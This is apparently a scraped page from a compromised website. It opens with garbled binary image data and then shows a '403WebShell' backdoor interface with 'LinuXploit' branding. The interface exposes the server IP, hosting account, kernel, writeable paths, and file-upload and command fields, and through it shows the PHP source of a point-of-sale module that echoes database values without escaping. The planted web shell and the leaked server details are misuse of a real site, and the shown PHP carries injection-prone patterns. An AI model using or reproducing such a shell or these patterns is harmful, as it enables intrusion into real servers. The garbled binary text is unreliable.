JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.222.222.23  /  Your IP : 216.73.216.174
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/event/modules/data-jualcust/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/event/modules/data-jualcust/view.php
<!-- Aplikasi Persediaan Obat pada Apotek
*******************************************************
* Developer    : Vanny Hadiwijaya, S.Kom
* Company      : Wijaya Studio
* Release Date : 14 November 2018
* Blog         : vannyhadiwijaya.blogspot.com
* E-mail       : vannyhadiwijaya@gmail.com
* Phone        : +62-821-3297-2137
-->

<!-- Content Header (Page header) -->
<section class="content-header">
  <h1>
    <i class="fa fa-sign-out icon-title"></i> Data Barang Keluar Customer

    <a class="btn btn-primary btn-social pull-right" href="?module=form_data_jualcust&form=add" title="Tambah Data" data-toggle="tooltip">
      <i class="fa fa-plus"></i> Cari Data Customer
    </a>
	  <br> <br> <br>
	  <button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modalscrollable">
	<i class="fa fa-plus"> </i> Cari Data Barang
</button>
  </h1>
	

</section>

<!-- Main content -->
<section class="content">
  <div class="row">
    <div class="col-md-12">

    <?php  
    // fungsi untuk menampilkan pesan
    // jika alert = "" (kosong)
    // tampilkan pesan "" (kosong)
    if (empty($_GET['alert'])) {
      echo "";
    } 
    // jika alert = 1
    // tampilkan pesan Sukses "Data Helm Masuk berhasil disimpan"
    elseif ($_GET['alert'] == 1) {
      echo "<div class='alert alert-success alert-dismissable'>
              <button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>
              <h4>  <i class='icon fa fa-check-circle'></i> Sukses!</h4>
              Data Penjualan berhasil disimpan.
            </div>";
    }
		
	elseif ($_GET['alert'] == 3) {
      echo "<div class='alert alert-success alert-dismissable'>
              <button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>
              <h4>  <i class='icon fa fa-check-circle'></i> Sukses!</h4>
              Data dihapus.
            </div>";
    }
			
		
    ?>


<div class="modal fade" id="modalscrollable" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" width="100%">
    <div class="modal-dialog modal-dialog-scrollable">
        <div class="modal-content">
        	<!-- Modal Header -->
            <div class="modal-header">
                <h4 class="modal-title" id="myModalLabel">Modal Scrollable</h4>
                <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
            </div>
            <!-- Modal body -->
            <div class="modal-body">
            	 <div class="modal-body">
                        <table id="dataTables1" class="table table-bordered table-striped table-hover">
                            <thead>
                                <tr>
                                    <th>Nim</th>
                                    <th>Nama</th>
                                    <th>IPK</th>
                                    <th>Jurusan</th>
									<th>KTR</th>
									<th>Input</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php
                         
				$kode_transaksi = "";				
            ?>									
							
			<?php					
            $query = mysqli_query($mysqli, "SELECT *
                                            FROM  is_helm  ORDER BY nama_helm ASC")
                                            or die('Ada kesalahan pada query tampil Data Obat Masuk: '.mysqli_error($mysqli));

                                while ($data = mysqli_fetch_assoc($query)) {
                                    ?>

                                    <tr class="pilih" data-nim="<?php echo $data['kode_helm']; ?>">
                                        <td><?php echo $data['kode_helm']; ?></td>
                                        <td><?php echo $data['nama_helm']; ?></td>
                                        <td><?php echo $data['harga_jual']; ?></td>
                                        <td><?php echo $data['satuan']; ?></td>
										 <td><?php echo $kode_transaksi; ?></td>
										
										 <td> <a class="btn btn-primary btn-social pull-right" href="modules/data-jualcust/proses4.php?act=insert&kode_transaksi=<?php echo $kode_transaksi ?>&kode_helm=<?php echo $data['kode_helm'];?>" title="Tambah Data" data-toggle="tooltip">
      <i class="fa fa-plus"></i> Tambah
    </a> </td>
										
                                    </tr>
                                    <?php
                                }
                                ?>
                            </tbody>
                        </table>  
                    </div>
       		</div>
       		<!-- Modal footer -->
		<div class="modal-footer">
		     <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
		</div>
        </div>
    </div>
</div>
		
	  <div class="box box-primary">
        <div class="box-body">
          <!-- tampilan tabel helm -->
			
			
			<b><h4>Kirim Ke Customer:</h4></b>
			<br>	
			
          <table id="dataTables1" class="table table-bordered table-striped table-hover">
            <!-- tampilan tabel header -->
            <thead>
              <tr>
                <th class="center" width="5">No.</th>
				 
				<th class="center" width="50">Kode_Customer</th>           
                <th class="center" width="200">Nama_Customer</th>		
				<th class="center" width="300">Alamat</th>   
				<th class="center" width="50" >No HP</th> 
				
                <th></th>
              </tr>
            </thead>
            <!-- tampilan tabel body -->
            <tbody>
            <?php  
          //  $no = 1;
//            // fungsi query untuk menampilkan data dari tabel obat
//            $query = mysqli_query($mysqli, "SELECT * FROM is_dumy ORDER BY kode_transaksi DESC")
//                                            or die('Ada kesalahan pada query tampil Data Obat: '.mysqli_error($mysqli));
//
//            // tampilkan data
//          $data = mysqli_fetch_assoc($query);
//				
				
				$sql   = mysqli_query($mysqli, "select * from is_dummycust ");					

				$no = 1;
				
	
			while($data=mysqli_fetch_array($sql)){
				
				$kode_customer=$data['kode_customer'];
				$alamat=$data['alamat'];
				$hp=$data['hp'];
				
						
				?>
												<tr>
													<td><?php echo $no ?></td>
													<td><?php echo $data['kode_customer'];?></td>	
													<td><?php echo $data['nama_customer'];?></td>
													<td><?php echo $data['alamat'];?></td>
				 									<td><?php echo $data['hp'];?></td>	
				 				          	    </tr>
			
            <?php
                       $no++;
			}
            ?>
            </tbody>
          </table>
			
	<br>			<br>			<br>			<br>	
				
		
  
       <div class="box box-primary">
        <div class="box-body">
          <!-- tampilan tabel helm -->
			
			
			<b><h4>Data Input Barang :</h4></b>
			<br>	
	  <button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modalscrollable">
	<i class="fa fa-plus"> </i> Cari Data Barang </button> <br><br>

			
          <table id="dataTables1" class="table table-bordered table-striped table-hover">
            <!-- tampilan tabel header -->
            <thead>
              <tr>
                <th class="center">No.</th>
				   <th class="center">ID</th>  
				  <th class="center">Kode_Customer</th>  
                <th class="center">Kode_Barang</th>
                <th class="center" width="300">Nama_Barang</th>
				
				<th class="center" width="200">Harga_Barang</th>   
				  <th class="center" width="100" >Qty</th> 
				  
				 <th class="center" >Satuan</th>
                <th class="center" width="300">Total_Harga</th>
                <th class="center" >Kasir</th>
                <th class="center">Update</th>
                <th class="center">hapus</th>
                <th></th>
              </tr>
            </thead>
            <!-- tampilan tabel body -->
            <tbody>
            <?php  
          //  $no = 1;
//            // fungsi query untuk menampilkan data dari tabel obat
//            $query = mysqli_query($mysqli, "SELECT * FROM is_dumy ORDER BY kode_transaksi DESC")
//                                            or die('Ada kesalahan pada query tampil Data Obat: '.mysqli_error($mysqli));
//
//            // tampilkan data
//          $data = mysqli_fetch_assoc($query);
//				
				
				$sql   = mysqli_query($mysqli, "select * from is_dumy_pc  order by id DESC limit 1");					

				$no = 1;

			while($data=mysqli_fetch_array($sql)){
				
				
				
           //   $harga_beli = format_rupiah($data['harga_beli']);
           //   $harga_jual = format_rupiah($data['harga_jual']);
              // menampilkan isi tabel dari database ke tabel di aplikasi
				?>
					
				<form role="form" class="form-horizontal" action="modules/data-jualcust/proses2.php?act=insert" method="POST" name="formObatMasuk">
				
             <tr>
                      <td width='30' class='center'><?php echo $no ?></td>
				  <td width='80' class='center'> <input class="form-control" type="text" name="id" id="prd_name" readonly value="<?php echo $data['id'];?>" /></td>
                      <td width='80' class='center'> <input class="form-control" type="text" name="kode_customer" id="prd_name" readonly value="<?php echo $data['kode_customer'];?>" /></td>
				 
				      <td width='180'><?php echo $data['nama_helm'];?></td>
    				 										
						<td><input class="form-control" type="text" name="kode_helm" id="prd_name" readonly value="<?php echo $data['kode_helm'];?>" />  </td>
						<td width='300'><input class="form-control"  onkeypress="nextfieldBarcode(event)" type="text" name="harga" value="<?php echo $data['harga_jual'] ?>" id="prd_desc"onkeyup="sum();"/></td>

						<td><input class="form-control"  type="text" name="qty" id="txt2"  onkeyup="sum();" autofocus/></td>
						<td width='80' class='center'><?php echo $data['satuan'];?></td>			 
						<td><input class="form-control" type="text" name="jumlah" id="txt3" readonly tabindex="-1"/></td>

				 
                      
                      <td width='80' align='right'><?php echo $data['created_user'];?></td>       
                      <td> <input type="submit" class="btn btn-primary btn-submit" name="simpan" value="Simpan"></td>
                       </form>
                         				
			
            
			  <td>      <a data-toggle="tooltip" data-placement="top" title="Hapus" class="btn btn-danger btn-sm" href="modules/data-jualcust/proses4.php?act=delete&id=<?php echo $data['id'];?>" onclick="return confirm('Anda yakin ingin menghapus  <?php echo $data['nama_helm']; ?> ?');">
                              <i style="color:#fff" class="glyphicon glyphicon-trash"> HAPUS</i>
			</a></td>
            <?php
              echo "    </div>
                      </td>
                    </tr>";
              $no++;
			}
            ?>
            </tbody>
          </table>
			
	<br>			<br>			<br>			<br>	
			
	<div class="box box-primary">
        <div class="box-body">		
			
		
				<div class="col-sm-12">
							<div class="panel panel-primary">
								<div class="panel-heading">
									<h4><i class="fa fa-shopping-cart"></i> KASIR
									<a class="btn btn-danger pull-right" 
										onclick="javascript:return confirm('Apakah anda ingin reset keranjang ?');" 
										style="margin-top:-0.5pc;" href="modules/data-jualcust/proses5.php?act=delete">
										<b>RESET KERANJANG</b></a>
									</h4>
								</div>
								<div class="panel-body">
									<div id="keranjang">
										<table class="table table-bordered">
											<tr>
												<td><b>Tanggal</b></td>
												<td><input type="text" readonly="readonly" class="form-control" value="<?php echo date("j F Y, G:i");?>" name="tgl"></td>
											</tr>
										</table>
										<table class="table table-bordered" id="example1">
											<thead>
												<tr>
													<td> No</td>
													<td> Kode Customer</td>
													<td> Kode Barang</td>
													<td> Nama Barang</td>
													<td style="width:10%;"> Harga</td>
													<td style="width:10%;"> QTY</td>
													<td style="width:20%;"> Total Harga</td>
   												    <td> Kasir</td>
													<td> Aksi</td>
												</tr>
											</thead>
											<tbody>
											
										
			
			
			
			<?php
			 // fungsi query untuk menampilkan data dari tabel obat
            $query = mysqli_query($mysqli, "SELECT *  FROM is_obat_keluarcust ")
                                            or die('Ada kesalahan pada query tampil Data Obat: '.mysqli_error($mysqli));

			$no = 1;									
            // tampilkan data
			$jumlah=0;
			$kembali = 0;
            while ($data = mysqli_fetch_assoc($query)){
				
			//	$total_bayar = format_rupiah($data['total_bayar']);
				
				
				   $total_harga = format_rupiah($data['total_harga']);
           //   $harga_jual = format_rupiah($data['harga_jual']);
			?>	
			<!-- aksi ke table penjualan -->
														
											<tr>
													<td><?php echo $no ?></td>
													<td><?php echo $data['kode_customer'];?></td>	
													<td><?php echo $data['kode_helm'];?></td>	
													<td><?php echo $data['nama_helm'];?></td>
													<td><?php echo $data['harga_jual'];?></td>	
													<td><?php echo $data['jumlah_keluar'];?></td>		
													<td>Rp.<?php echo  $total_harga ?></td>
													<td><?php echo $data['created_user'];?></td>
													<td> <a data-toggle="tooltip" data-placement="top" title="Hapus" class="btn btn-danger btn-sm" href="modules/data-jualcust/proses2.php?act=delete&id=<?php echo $data['id'];?>" onclick="return confirm('Anda yakin ingin menghapus  <?php echo $data['nama_helm']; ?> ?');">
                                                    <i style="color:#fff" class="glyphicon glyphicon-trash"> HAPUS</i></a></td>
			
							
											</tr>
												
			  <?php
				
				
              $no++;
                    // }
               ?>			<?php 
												$jumlah+= $data['total_harga'];
												 $no++;
												} 
												$jumlahnya = ($jumlah);
												
												function rupiah($subjumlah){
												$hasil_rupiah = "Rp " . number_format($subjumlah,2,',','.');
												return $hasil_rupiah;
											}
											?>
					
					<td>
					<td>
					<td>
					<td>
					<td >
                    Total
					<td align=right colspan="2"><h4><strong><?php echo rupiah ($jumlahnya);?></strong></h4></td>
					<td>
					<input class="hidden" type="" name="total2" value="<?php echo $jumlahnya ?>" readonly>
						
			        </td>				
												
												
												
			</table>		
			       <table id="dataTables1" class="table table-bordered table-striped table-hover">							
			<!-- aksi ke table nota -->
										<tr>
											
											<form id="formD" name="formD" action="" method="post" enctype="multipart/form-data">
													<td><h4><b>TOTAL HARGA :</b></h4>
													<input  style="font-size: 30pt;" style="height:100px; width:300px" type="text" name="harga" onkeyup="OnChange(this.value)" onKeyPress="return isNumberKey(event)" value="<?php echo $jumlahnya ?>" readonly autofocus ></td>
												
													<td><h4><b>BAYAR :</b></h4>
													<input  style="font-size: 30pt;"  style="height:100px; width:200px"  type="text" name="jmlpsn" onkeyup="OnChange(this.value)" onKeyPress="return isNumberKey(event)" value="<?php echo $jumlahnya ?>" /></td>
											
													<td>
													  <a style="height:75px; width:200px"  class="btn btn-success btn-social pull-right" href="modules/data-jualcust/proses3.php?act=insert&bayar=<?php echo $jumlahnya ?>" title="Bayar" data-toggle="tooltip">
      												 <h2><b>BAYAR</b></h2>  <i  class="fa fa-shopping-cart"></i> </a>	
														
													</td>
												
										
										
										
										
											<tr>
											  <td></td>
											  <td><h4><b>KEMBALI :</b></h4> <input style="font-size: 30pt;" type="text" name="txtDisplay" value="<?php echo $kembali ?>" readonly="readonly"></td>
												<td></td>
												<td>
													<a  href="print.php?nm_member=<?php echo $_SESSION['admin']['nm_member'];?>
													&bayar=<?php echo $bayar;?>&kembali=<?php echo $hitung;?>" target="_blank">
													<button style="height:100px; width:200px"  class="btn btn-default">
														<i  style="font-size: 20pt;" class="fa fa-print"></i><h2><b>Print</b></h2> 
													</button></a>
												</td>							
										</form>		
		
						</table>							
				
	</div>	</div>											</div>										
											

<script type="text/javascript" language="Javascript">
   hargasatuan = document.formD.harga.value;
   document.formD.txtDisplay.value = hargasatuan;
	
   jumlah = document.formD.jmlpsn.value;
	
   document.formD.txtDisplay.value = jumlah;
	
   function OnChange(value){
     hargasatuan = document.formD.harga.value;
     jumlah = document.formD.jmlpsn.value;
     total = jumlah - hargasatuan;
     document.formD.txtDisplay.value = total;
   }
 </script>							
											
											

<script>
	// AJAX call for autocomplete penjumlahan 
function nextfieldprd_desc(event){  // fungsi saat tombol enter
    if(event.keyCode == 13 || event.which == 13){
  document.getElementById('txt2').focus();
    } 
}
</script>
						
									
				<script type="text/javascript"> 
				<?php echo $jsArray; ?>
				function changeValue(id){
				document.getElementById('prd_name').value = prdName[id].name;
				document.getElementById('prd_desc').value = prdName[id].desc;
				};
				</script>
				
				<script>
				function sum() {
					  var txtFirstNumberValue = document.getElementById('prd_desc').value;
					  var txtSecondNumberValue = document.getElementById('txt2').value;
					  var result = parseInt(txtFirstNumberValue) * parseInt(txtSecondNumberValue);
					  if (!isNaN(result)) {
						 document.getElementById('txt3').value = result;
					  }
				}
				</script>

				  
				<script type="text/javascript"> 
						$(document).ready(function() {
						  $("#enable").click(function() {
								$("#bayar").attr("disabled", false);
						   });
					
						  $("#disable").click(function() {
								$("#bayar").attr("disabled", true);
						   });
					  
					});
				</script>
				
					

<script>
// AJAX call for autocomplete 
$(document).ready(function(){
	$("#cari").change(function(){
		$.ajax({
		type: "POST",
		url: "fungsi/edit/edit.php?cari_barang=yes",
		data:'keyword='+$(this).val(),
		beforeSend: function(){
            $("#hasil_cari").hide();
			$("#tunggu").html('<p style="color:green"><blink>tunggu sebentar</blink></p>');
		},
          success: function(html){
			$("#tunggu").html('');
            $("#hasil_cari").show();
            $("#hasil_cari").html(html);
		}
	});
	});
});
//To select country name
</script>
	

		
		
										<br/>
										<br/>
									</div>
								</div>
							</div>
						</div>
				  </div>
              </div>
    </section>
	

			
        </div><!-- /.box-body -->
      </div><!-- /.box -->
    </div><!--/.col -->
  </div>   <!-- /.row -->
</section>
<!-- aksi ke table penjualan 


						
	


Youez - 2016 - github.com/yon3zu
LinuXploit